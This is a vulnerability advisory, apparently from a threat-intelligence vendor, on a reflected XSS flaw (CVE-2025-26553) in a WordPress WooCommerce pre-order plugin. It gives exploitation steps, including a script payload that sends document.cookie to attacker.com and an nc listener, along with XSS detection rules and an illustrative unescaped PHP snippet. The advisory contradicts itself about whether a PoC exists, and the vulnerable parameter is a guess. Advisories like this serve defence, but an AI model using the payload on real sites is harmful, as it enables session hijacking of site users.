CVE-2025-26553
Executive Summary
CVE-2025-26553 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Pre Order Addon for WooCommerce – Advance Order/Backorder Plugin (slug: wc-pre-order) for WordPress. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This is a WordPress ecosystem issue, affecting the plugin developed by Spring Devs. The CVSS v3.1 score is 7.1 (High), with a low EPSS probability of 0.0% indicating limited active exploitation at the time of analysis. No public proof-of-concept (PoC) or exploit code is available, and no patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. The plugin is not an NPM, PyPI, Go, or Ruby package. The supply chain risk is moderate: if the plugin is installed on a site, an attacker could leverage reflected XSS to steal session cookies, perform phishing, or deface the site. Since no patch is available, site administrators must consider disabling or removing the plugin until a fix is released.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Base Score: 7.1 (High)
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – no authentication needed.
- User Interaction: Required (UI:R) – victim must click a crafted link.
- Scope: Changed (S:C) – the injected script can affect other resources.
- Confidentiality Impact: Low (C:L) – limited data exposure.
- Integrity Impact: Low (I:L) – limited modification of content.
- Availability Impact: Low (A:L) – limited disruption.
Threat Level: High. Although no active exploitation is reported, the ease of exploitation and potential for session hijacking or phishing makes this a significant risk for WordPress sites using the plugin.
Deep Dive & Mechanics
The vulnerability exists in the wc-pre-order plugin, which adds pre-order and backorder functionality to WooCommerce. The plugin fails to sanitize or escape user-supplied input before reflecting it in HTTP responses. This is a classic Reflected XSS (CWE-79) where an attacker can craft a malicious URL containing JavaScript payloads. When a victim clicks the link, the payload executes in the context of the victim's browser, potentially allowing the attacker to:
- Steal session cookies (e.g.,
document.cookie). - Perform actions on behalf of the victim (e.g., change admin settings).
- Redirect to phishing pages.
- Inject keyloggers or other client-side malware.
The vulnerable parameter is likely a query string parameter (e.g., order, product_id, or a custom parameter) that is directly echoed back without proper encoding. Since the plugin is for WooCommerce, the attack surface includes product pages, cart pages, and checkout flows.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable pattern. The vulnerable code likely resembles:
// Vulnerable code (wc-pre-order plugin)
$input = $_GET['some_param'];
echo "<div class='pre-order-message'>$input</div>";
A patched version would use WordPress's built-in escaping functions:
// Patched code
$input = sanitize_text_field($_GET['some_param']);
echo "<div class='pre-order-message'>" . esc_html($input) . "</div>";
The esc_html() function converts special characters to HTML entities, preventing script injection.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress site with the
wc-pre-orderplugin version <= 2.2 installed and active. - A victim user (e.g., admin) who clicks a crafted link.
Exploitation Steps:
Identify the vulnerable parameter: Use a web proxy (e.g., Burp Suite) to intercept requests to the plugin's pages. Look for parameters reflected in the response without encoding.
Craft the payload: For example, if the parameter is
order, the URL might be:https://victim-site.com/?order=<script>alert('XSS')</script>Deliver the link: Send the crafted URL to the victim via email, social media, or a phishing campaign.
Execute the attack: When the victim clicks the link, the script executes. For a more impactful attack, use a payload to steal cookies:
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
Lab Setup:
- Use a local WordPress installation (e.g., via Docker) with the vulnerable plugin.
- Set up a listener (e.g.,
nc -lvnp 80) to capture exfiltrated data.
Blue Team (Defense & Detection)
Detection:
- Monitor web server logs for suspicious query strings containing
<script>,onerror,javascript:, or other XSS indicators. - Use a Web Application Firewall (WAF) to block common XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Mitigation:
- Disable or remove the
wc-pre-orderplugin until a patch is released. - If removal is not possible, apply a virtual patch via WAF rules (e.g., ModSecurity rule to block reflected XSS).
- Educate users not to click suspicious links.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests containing query parameters with
<script>tags or encoded variants. - Outbound connections to attacker-controlled domains (e.g., for cookie exfiltration).
- HTTP requests containing query parameters with
- File IOCs:
- Presence of the
wc-pre-orderplugin directory in/wp-content/plugins/wc-pre-order/.
- Presence of the
- Log IOCs:
- Web server logs showing
200responses to URLs with XSS payloads. - Error logs with JavaScript execution errors.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_26553_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting CVE-2025-26553 in wc-pre-order plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-26553"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/i
$wc_pre_order = "wc-pre-order"
condition:
$wc_pre_order and $xss_payload
}
Sigma Rule
title: Reflected XSS Attempt Against wc-pre-order Plugin
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b3d1f0a7e9c
status: experimental
description: Detects HTTP requests with XSS payloads targeting the wc-pre-order plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '<script>'
- '%3Cscript%3E'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of script tags in non-malicious contexts (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-26553 Reflected XSS Attempt"; flow:to_server,established; content:"wc-pre-order"; http_uri; content:"<script>"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the
wc-pre-orderplugin on all WordPress sites until a patched version is released. - Vendor Contact: Reach out to Spring Devs for an ETA on the patch. Monitor the WordPress Plugin Directory for updates.
- Virtual Patching: If the plugin cannot be disabled, implement a WAF rule to block requests containing
<script>or other XSS patterns in query parameters. - User Education: Train users to avoid clicking suspicious links, especially those containing unusual query strings.
- Long-term: Conduct a security audit of all WordPress plugins and implement a Content Security Policy (CSP) to mitigate XSS impact.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.